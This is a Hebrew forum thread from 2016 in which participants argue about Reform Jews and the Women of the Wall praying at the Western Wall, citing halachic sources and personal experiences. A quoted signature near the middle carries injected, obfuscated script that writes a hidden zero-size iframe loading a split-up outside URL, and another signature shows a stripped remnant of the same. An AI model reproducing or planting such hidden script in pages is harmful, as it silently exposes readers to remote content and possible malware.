|
|
| נשלח ב-6/3/2016 11:52 |
 |
| |
אתה דן מכמה מופרעים שוליים על הכלל. גם אצלנו יש מופרעים . יחידים וקהילות.
|
|
|
|
| נשלח ב-6/3/2016 13:26 |
|
| |
"מארגון נשות הכותל נמסר בתגובה: "הניסיון להכפיש ציבור שלם של רבנים רפורמים באמצעות שקרים שאין להם ביסוס במציאות גובל בעלילת דם. במקום ליצור דה לגיטימציה כנגד תנועה המונה למעלה משני מיליון מיהודי העולם אנחנו מציעות לו ולחבריו להתבונן על יונות השלום שנוהגות לבקר בכותל ולפעול לקידום שלום, אחדות ואהבת חינם".
עוד נאמר בתגובה כי "נשות הכותל הוא ארגון של נשים דתיות משלושת הזרמים אורתודוקסיות, קונסרבטיביות ורפורמיות המתפללות ביחד בעזרת הנשים בכותל מדי ראש חודש. במשך 27 שנים מובילות את המאבק לשוויון לנשים בכותל ולחופש תפילה".
|
|
|
|
| נשלח ב-6/3/2016 16:18 |
|
| |
מתוך עולמם של חרדים
התנהגותו של יצחק יוסף גרועה מהרפורמים
|
|
|
|
| נשלח ב-6/3/2016 18:37 |
|
| |
| אריאל73 כתב: |  | | יש כאן שתי שאלות: א. האם הלכתית אסור להם להתפלל שם. ב. אם אסור להם, האם חובתנו וזכותנו למנוע זאת. ואם מותר להם, האם זכותנו למנוע זאת. לגבי א. צריך לבדוק אבל לפי פוסקי זמננו ודאי אסור (יש תשובה של ר''מ פינשטיין). לגבי ב. אני חושב שהתשובה היא כן לשתי השאלות, כי זה יוצר אי נוחות עצומה לכמות עצומה של מתפללים, הרבה יותר מאלו שזה עוזר להם. |
|
א. יש מקור? (לכך שאסור להימנע מלמחות על הקצאת מקום לרפורמים בכותל).
ב. אי אי נוחות נוצרת מתפילת רפורמים בכותל הדרומי? (מקום שאפילו לא ניתן לצפייה מרחבת הכותל הנוכחית), אולי כוונתך לאי הנוחות מכך שיש רפורמים שמתפללים בכותל? אם כן לא ברור שבאי נוחות שנובעת מחוסר סובלנות צריך להתחשב (מנקודת מבט ליברלית), מעבר לכך לרפורמים וחילונים רבים יש אי נוחות מכך שלא מאפשרים לרפורמים להתפלל בכותל.
|
|
|
|
| נשלח ב-6/3/2016 21:36 |
|
| |
| אריאל73 כתב: | | יש כאן שתי שאלות: א. האם הלכתית אסור להם להתפלל שם. ב. אם אסור להם, האם חובתנו וזכותנו למנוע זאת. ואם מותר להם, האם זכותנו למנוע זאת. לגבי א. צריך לבדוק אבל לפי פוסקי זמננו ודאי אסור (יש תשובה של ר''מ פינשטיין). לגבי ב. אני חושב שהתשובה היא כן לשתי השאלות, כי זה יוצר אי נוחות עצומה לכמות עצומה של מתפללים, הרבה יותר מאלו שזה עוזר להם.
לגבי נשות הכותל השאלה קצת יותר סבוכה, כי אין כאן באמת בעיה הלכתית, אבל אי נוחות קיימת. היה ע''ז פעם אשכול עם הרב מיכי.
כל האמור ברחבת הכותל. בכותל הדרומי לכאורה קיים רק הטיעון ההלכתי. |
|
לא מבין את הצד שאסור להם להתפלל בכותל. הרי גם לגוי מותר. "כי ביתי בית תפילה יקרא לכל העמים".
כמו שכבר כתבתי, אם בתפילה בכותל רצונם, הרי שהם יכולו לעשות זאת גם היום ללא שום בעיה, ללא פוצה פה ומצפצף, גם ב"תורה" שלהם אין מצווה, או חובה להתפלל דווקא בצורה מעורבת, אין להם מצווה לנשים לפתוח ספר תורה דווקא בכותל, ולכן אין להם בעצם מניעה להתפלל בכותל גם בצורתו העכשווית.
אלא מה? שכנראה יש להם רצונות אחרים מאשר להתפלל בכותל. ועל זה המלחמה.
עם זאת, אינני חושב שכדאי לקדש נגדם מלחמה, מהסיבות שמניתי לעיל. אבל אם כבר עושים מלחמה, אולי שמישהו יסביר להם את האבסורד שבדרישה שלהם לקבל שטח בכותל מצד אחד ומצד שני לא לשמור שבת, או לאכול חמץ בפסח.
|
|
|
|
| נשלח ב-6/3/2016 23:52 |
|
| |
אולי הם תופסים את היהדות אחרת ממך? האם יש אבסורד במוסלמי סוני אדוק בדתו שלא מקבל את עלי כשני בחשיבותו אחרי מוחמד? אולי יש אבסורד ביהודי אורתודוקסי שמפלל בכותל למרות שמשאיר א בוערת בביתו בשבת בניגוד להלכה (הקראית)?
אולי המקום הזה סמלי והדרתם ממנו מסמלת את מעמדם הנחות על פי חוק בישראל ולכן רצונם להפגין את נוכחותם שם?
|
|
|
|
|
| נשלח ב-7/3/2016 04:27 |
|
| |
עומדבפרץ
<לא מבין את הצד שאסור להם להתפלל בכותל. הרי גם לגוי מותר. "כי ביתי בית תפילה יקרא לכל העמים"> האברבנאל כתב בפירושו ליחזקאל פרק מ, (אברבנאל, "נביאים אחרונים" (ירושלים תשלט), עמ' תקפו ראש טור א): "העזרה החיצונה הראשונה. אמרו חכמים ז"ל שבבית שני היה עזרת נשים ושבנו אותו גזוזטראות, וראיתי אני בפירושי חכמי הנוצרים, שהיתה העזרה הראשונה מיוחדת לנכרים להתפלל בבית ה'. וכמ"ש שלמה בתפלתו. וגם אל הנכרי וגו'. ונראין דבריהם לדעתי, כי הנה לעתיד לבא ייעדו הנביאים, שילכו עמים רבים אל הר ה', ואל בית אלהי יעקב לקבל תורתו, ולכן היה ראוי שייוחד אליהם מקום מיוחד חיצוני, ויותר מרוחק מהקודש, ואולי שעל אותה עזרה תהיה עלייה מוקפת גזוזטרא לנשים כדבריהם, ותהיינה רואות מלמעלה והנכרים בעזרה מלמטה וכו'". ראה ה"תוספות יום טוב", (מידות ב, ג), מה שכתב על דבריו. ____________________
בר מצווה של כלב, כולל קריאתו מתוך חומש:
תוקן על ידי נישטאיך ב- 07/03/2016 04:30:26
|
|
|
|
| נשלח ב-7/3/2016 07:06 |
|
| |
נישט
הבנתי מדבריו שהוא מתכוין לשולל לגמרי תפילה של רפורמים בכותל.
אבל גם האברבנאל מדבר על גויים. צריך לזכור שרפורמים הם עדיין יהודים (בדרך כלל) אמנם יהודים תועים, אבל יהודים, וככאלו אינני חושב שאפשר להדיר אותם מלבוא ולהתפלל ממש איפה שכל היהודים מתפללים.
מעבר לזאת, האברבנאל מפורש מדבר על מקרה בו בית המקדש קיים, שאז יש חלוקה מוגדרת של רמות קדושה ככל שמתקרבים לקודש הקדשים. ובאמת מן הראוי לתת מקום מיוחד לשאינם בני ברית. אבל כיום שאלפי גויים פוקדים את הכותל (וחמור מזה, אף שלא למטרות תפילה אלא למטרות תיור ונופש) אין שום סיבה לעניות דעתי לשלול מהרפורמים כניסה לכותל, ואין שום סיבה גם להקצות להם מקום מיוחד, כל עוד כמובן שהם מתנהגים כראוי לפי קדושת המקום.
|
|
|
|
| נשלח ב-7/3/2016 08:41 |
|
| |
אולי הגיע הזמן שהיהדות החרדית תחליף דיסקט?
|
|
|
|
| נשלח ב-7/3/2016 10:16 |
|
| |
מהי קדושת הרחבה?
תוקן על ידי נישטאיך ב- 07/03/2016 10:19:47
|
|
|
|
| נשלח ב-7/3/2016 11:05 |
|
| |
ירוחמ
איקון ירוק. כלומר, יפה שאלת.
והרשה לי לשאול שאלות מקדימות.
א. מה היתה ההחלטה שעוררה את המחלוקת? מה הן העובדות בשטח לגבי תפילות ומנינים, ומה אמור להשתנות מכאן ולהבא? והיכן?
ב. האם הכותל המערבי הוא בית כנסת? לפי ההלכה? לפי החוק? לפי המנהג?
ג. מי הם הרפורמים שבהם מדובר? האם הרפורמים הם כת אחת עם הלכה קבועה או שזה משתנה אצלם? כלומר, מה בדיוק כולל ולא כולל מנין רפורמי?
ד. האם מנין רפורמי אסור לפי ההלכה? מנלן ומה הטעם?
ה. האם זה כדאי או לא כדאי להילחם על כל זה?
ו. האם יש הבדל בין קביעה מוסרית בשאלה "מי רשאי להקים מנין בכותל" לבין קביעה הלכתית לגביה?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-7/3/2016 12:15 |
|
| |
| מיימוני כתב: | | ירוחמ
איקון ירוק. כלומר, יפה שאלת.
והרשה לי לשאול שאלות מקדימות.
א. מה היתה ההחלטה שעוררה את המחלוקת? מה הן העובדות בשטח לגבי תפילות ומנינים, ומה אמור להשתנות מכאן ולהבא? והיכן?
לפי הבנתי המחלוקת החלה כשכמה נשים -נשות הכתל באו לתפילה מעוטרות בתפילין וטלית. והתפללו בשירה, בעזרת הנשים
ב. האם הכותל המערבי הוא בית כנסת? לפי ההלכה? לפי החוק? לפי המנהג?
זה לא יכול להקרא בית כנסת כי אינו בית- המקום מקום תפילה מימים ימימה אליה באו עם ישראל להתפלל. גם נשים ביחד עם הגברים לפנ קום המדינה לא היתה הפרדה.
ג. מי הם הרפורמים שבהם מדובר? האם הרפורמים הם כת אחת עם הלכה קבועה או שזה משתנה אצלם? כלומר, מה בדיוק כולל ולא כולל מנין רפורמי?
כמו שהחרדים אינם מקשה אחת , גם הרפורמים לא.. השאלה מה זה משנה? הם רוצים להתפלל ולהתקשר אל אביהם שבשמיים. לפי הבנתם ותחושתם.. איני רפורמי ולכן מה שכתבתי מדעתי כתבתי. אול תואיל בטובה המומחית בנושא לענות?
ד. האם מנין רפורמי אסור לפי ההלכה? מנלן ומה הטעם?
למה שיהיה אסור? איזו הו'א יש. חיילים חרדים לא מצרפים למנין, כיפות סרוגות לא מצרפים למנין.
ה. האם זה כדאי או לא כדאי להילחם על כל זה?
להילחם תמיד כדאי . כוחנו במלחמתו זה מה שמאחד אותנו.י
ו. האם יש הבדל בין קביעה מוסרית בשאלה "מי רשאי להקים מנין בכותל" לבין קביעה הלכתית לגביה?
יש קביעה מוסרית אחת- כל דאלים גבר. וכל המחמיר גודל. קנאות מעידה על חוסר אמונה בדרך._________________ שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
 |
|
|
|
|
| נשלח ב-7/3/2016 13:45 |
|
| |
ירוחמ
כדאי לשים לב שתשובותיך פעמים מציגות את אבחנותיך שלך. יתכן שהן נכונות, והן בוודאי חדות ודוקרות, אבל הן חד צדדיות, האין זאת? כלומר, יש כאלו שיטענו שאתה מציג רק חלק מהתמונה, ודווקא אותו חלק שמציג את חולשת הצד החרדי-אורתודוכסי.
הבה נעבור יחד על כל אחת מתשובותיך, ואוסיף מה שעדיין חסר לתמונה.
א. מה היתה ההחלטה שעוררה את המחלוקת? מה הן העובדות בשטח לגבי תפילות ומנינים, ומה אמור להשתנות מכאן ולהבא? והיכן?
לפי הבנתי המחלוקת החלה כשכמה נשים -נשות הכתל באו לתפילה מעוטרות בתפילין וטלית. והתפללו בשירה, בעזרת הנשים
אני מסכים שיש כאן מאבק על דמות הכותל שבא למנוע כל שינוי, בין תפילת נשים, בין תפילת קבוצה לא אורתודוכסית. וכאשר מרגישים כמו במלחמה מגיבים כמו במלחמה.
שאר הפרטים ששאלתי, כמו מה תהיה התקנה החדשה, אני עדיין מחכה לתשובה.
ב. האם הכותל המערבי הוא בית כנסת? לפי ההלכה? לפי החוק? לפי המנהג?
זה לא יכול להקרא בית כנסת כי אינו בית- המקום מקום תפילה מימים ימימה אליה באו עם ישראל להתפלל. גם נשים ביחד עם הגברים לפנ קום המדינה לא היתה הפרדה.
אני מסכים שהכותל יכול היה לשמש למטרות אחרות ולא כבית כנסת, אבל כך משתמשים בו מאז שוחרר, ולכן היום הוא בית כנסת. האם צריך לשנות את הייעוד, האם היתה סמכות לקבוע לו מעמד ותפקיד כזה, אלו שאלות נפרדות.
ולמעשה, אם הוא נקבע כבית כנסת, אזי שימושי חולין אסורים בו. ויש לדון לגבי תפילת נשים במנין בבית כנסת האם ומדוע תהיה אסורה.
לגבי תפילת רפורמים בבית כנסת, כמדומה שדעת הפוסקים היא לאסור. וכן גם דעת הגרי"ד סולוביצ'יק, שהוא, בעיני, מן הרבנים שהפורום אמור ללכת לאורם. מותר כמובן לחלוק בנימוקים. כפי שיש לשאול מה הם הנימוקים לאסור הקמת מנין רפורמי בבית כנסת אורתודוכסי.
ושאלה יסודית היא מה בין תפילה לתפילה, וזה נזכר בשאלה אחרת לקמן.
מה שכתבתי עד כאן נכון לגבי הסעיפים הבאים בדבריך גם כן.
יש לך כמה אבחנות חריפות לגבי הסוציולוגיה האורתודוכסית. למשל, שמה שמאגד קבוצות וקהילות זו לפעמים ההתנגדות למי שבחוץ, וזה כולל רפורמים. זו באמת הגדרה עצמית גרועה שנזקקת ל"לא" כדי למצוא משותף.
בכל אופן, מכל מה שנאמר בינינו עד כה נראה שאם מתקיימות ההנחות הבאות, ניתן להבין את המתנגדים.
1. הכותל נקבע כבית כנסת וזה חל ומחייב.
2. יש למנוע מנין רפורמי בבית כנסת אורתודוכסי.
אני משער שטעם המתנגדים הוא שהכותל הוא לא פחות מבית כנסת. זה מקום תפילות יהודי עתיק יומין ורב רגש. ולכן נתינת מקום לתפילה לא אורתודוכסית זה גרוע יותר מאשר מנין רפורמי בבית כנסת אורתודוכסי "רגיל".
ועדיין עלינו לשאול:
גם בית כנסת ניתן להמרת תפקיד בתנאים מסויימים. (יש לבדוק אם הם חלים כאן, כגון שהמדינה היא הבעלים והבעלים רשאי לשנות. שאפשר שהגדרת הכותל כבית כנסת נעשתה עבור הרבים ואין הרבים מוחלים, לפי פשטות הסוגיה בתלמוד).
היות שיש סוגים שונים של רפורמים, וסוגים שונים של מניני רפורמים, אז האם מנין רפורמי הוא כה גרוע? הם מתפללים לאלוקינו שברא את העולם והוציאנו ממצרים, ואם הם משנים את התפילה, האם השינויים האלו פוסלים את המנין? אולי כדאי לפתוח אשכול על שינויים שעושים הרפורמים בסידור...
|
|
|
|
|
| נשלח ב-7/3/2016 15:11 |
|
| |
הרב מימוני
במחילה אבל כאן בפורום כל אחד מביע את דעתו האישית ולא את דעת חברו, כך סברתי וכך כתבתי.
הרי החרדים אולי בצדק הרחיקו את המתפללים הלא מקובלים למרחק גדול- אבל דא עקא זה גם לא מספק אותם,
הם לא רוצים בכלל שאחרים יתפללו, בשום מקום או כמונו או בכלל לא.. וזו הבעיה שהעלתי
לפני כמה שנים-סיפרתי את זה כאן בזמנו- התפללתי בראש השנה בכותל, היו הרבה מנינים כל עדה וחוג כנוסחו, היה שם מנין קולני ורעשני במידה מוגזמת, אבל הם הפליאו לעשות בתפילת מלכויות הם לקחו תמונה ענקית של רבם הציבו את התמונה על כסא והרימו אותה מעלה. וכולם רקדו סביב התמונה . היו קומץ מתפללים שמחו ברפיון נגד התופעה, אבל הם הורחקו באלימות מהמקום, אם לא היתי רואה בעייני לא היתי מאמין.
האמן לי כי התןפעה הזו קשה יותר מתפילתן של הנשים בעזרת הנשים. כמובן בעייני. העובדה שבעייני רוב הצנבור החרדי שהיה במקום לא .
מודה- מאז הדרתי את רגלי מהתפילות במקום
|
|
|
|
|
